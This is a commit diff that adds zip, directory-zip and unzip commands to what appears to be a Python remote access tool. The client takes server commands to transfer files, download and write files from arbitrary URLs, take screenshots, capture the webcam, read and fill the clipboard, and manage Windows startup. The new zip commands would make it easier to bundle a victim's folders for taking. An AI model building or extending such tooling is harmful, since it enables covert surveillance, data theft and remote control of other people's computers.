Added Support for Zipping Files

Added Support for Zipping Files

Author: tidely

Client/client.py

@@ -3,6 +3,7 @@
 import logging
 import os
 import platform
+import shutil
 import socket
 import subprocess
 import sys
@@ -11,15 +12,15 @@
 import traceback
 from io import BytesIO, StringIO
 from pydoc import help
+from zipfile import ZipFile
 
+import cv2
 import psutil
 import pyperclip
 import pyscreeze
 import requests
 from cryptography.fernet import Fernet
 
-import cv2
-
 if getattr(sys, 'frozen', False):
     CLIENT_PATH = os.path.dirname(sys.executable)
 elif __file__:
@@ -372,11 +373,44 @@ def receive_commands(self) -> None:
                 self.send_file(data[1])
                 continue
 
-            if data[0] == 'SEND FILE':
+            if data[0] == 'SEND_FILE':
                 self.receive_file(data[1])
                 continue
 
+            if data[0] == 'ZIP_FILE':
+                logging.info('Zipping File: {}'.format(data[2]))
+                try:
+                    with ZipFile(data[1], 'w') as ziph:
+                        ziph.write(data[2])
+                except Exception as e:
+                    self.send(json_dumps([False, errors(e)]))
+                    continue
+                self.send(json_dumps([True, None]))
+                continue
+
+            if data[0] == 'ZIP_DIR':
+                logging.info('Zipping Folder: {}'.format(data[2]))
+                try:
+                    shutil.make_archive(data[1], 'zip', data[2])
+                except Exception as e:
+                    self.send(json_dumps([False, errors(e)]))
+                    continue
+                self.send(json_dumps([True, None]))
+                continue
+
+            if data[0] == 'UNZIP':
+                logging.info('Unzipping: {}'.format(data[1]))
+                try:
+                    with ZipFile(data[1], 'r') as ziph:
+                        ziph.extractall()
+                except Exception as e:
+                    self.send(json_dumps([False, errors(e)]))
+                    continue
+                self.send(json_dumps([True, None]))
+                continue
+
             if data[0] == 'DOWNLOAD':
+                logging.info('Downloading "{}" from {}'.format(data[2], data[1]))
                 try:
                     r = requests.get(data[1])
                     with open(data[2], 'wb') as f:
@@ -393,6 +427,7 @@ def receive_commands(self) -> None:
                 continue
 
             if data[0] == 'SCREENSHOT':
+                logging.info('Taking Screenshot')
                 try:
                     with BytesIO() as output:
                         img = pyscreeze.screenshot()
@@ -404,10 +439,10 @@ def receive_commands(self) -> None:
                     self.send(errors(e).encode())
                     continue
                 self.send(content)
-                logging.info('Sent Screenshot to Server')
                 continue
 
             if data[0] == 'WEBCAM':
+                logging.info('Capturing Webcam')
                 vc = cv2.VideoCapture(0)
                 s, img = vc.read()
                 vc.release()

Server/server.py

@@ -37,6 +37,7 @@ def is_windows() -> bool:
 --s | Transfers file to Client
 --r | Transfers file to Server
 --d | Download file from the web
+--z (file) (dir) (unzip) | Zip Files or Folders
 --c | Copies to Client Clipboard
 --p | Returns Client Current Clipboard
 --t (add) (remove) | Manage Startup (Windows)
@@ -377,10 +378,28 @@ def _get_info(self) -> tuple:
 
     def info(self, _print=True) -> str:
         """ Get Client Info """
-        # Returns str
+        # returns str
         self.send(json_dumps(['INFO']))
         return self.receive(_print=_print).decode()
 
+    def zip_file(self, zip_filename, file_to_zip) -> (bool, str):
+        """ Zip a Single File """
+        # returns True/False, None/error
+        self.send(json_dumps(['ZIP_FILE', zip_filename, file_to_zip]))
+        return tuple(json_loads(self.receive()))
+
+    def zip_dir(self, zip_filename, dir_to_zip) -> (bool, str):
+        """ Zip a Directory """
+        # returns True/False, None/error
+        self.send(json_dumps(['ZIP_DIR', os.path.splitext(zip_filename)[0], dir_to_zip]))
+        return tuple(json_loads(self.receive()))
+
+    def unzip(self, zip_filename) -> (bool, str):
+        """ Unzip a File """
+        # returns True/False, None/error
+        self.send(json_dumps(['UNZIP', zip_filename]))
+        return tuple(json_loads(self.receive()))
+
 
 class MultiServer(object):
 
@@ -603,6 +622,33 @@ def selector(self, client, command) -> bool:
             else:
                 print(error)
             return
+        if command == '--z':
+            if select == 'file':
+                save_as = input('Zip Filename: ')
+                file_to_zip = input('File to Zip: ')
+                result, error = client.zip_file(save_as, file_to_zip)
+                if result:
+                    print('Zipping Successful.')
+                else:
+                    print(error)
+                return
+            if select == 'dir':
+                save_as = input('Zip Filename: ')
+                dir_to_zip = input('Directory to Zip: ')
+                result, error = client.zip_dir(save_as, dir_to_zip)
+                if result:
+                    print('Zipped Directory Successfully.')
+                else:
+                    print(error)
+                return
+            if select == 'unzip':
+                zip_filename = input('Zip File: ')
+                result, error = client.unzip(zip_filename)
+                if result:
+                    print('Unzipped Successfully.')
+                else:
+                    print(error)
+                return
         if '--c' in command:
             text_to_copy = input('Text to copy: ')
             result, error = client.fill_clipboard(text_to_copy)